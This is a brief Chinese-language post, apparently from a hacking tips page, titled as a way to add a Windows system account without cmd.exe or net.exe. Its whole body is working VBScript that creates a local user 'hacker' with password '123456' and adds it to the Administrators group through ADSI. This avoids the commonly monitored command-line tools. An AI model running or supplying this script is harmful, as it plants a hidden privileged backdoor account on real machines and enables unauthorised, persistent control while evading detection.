【VBS】无需cmd.exe、net.exe添加系统账号

添加一个账号为“hacker”密码为“123456”的系统账号：

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/hacker",user)
oe.add os&"/hacker"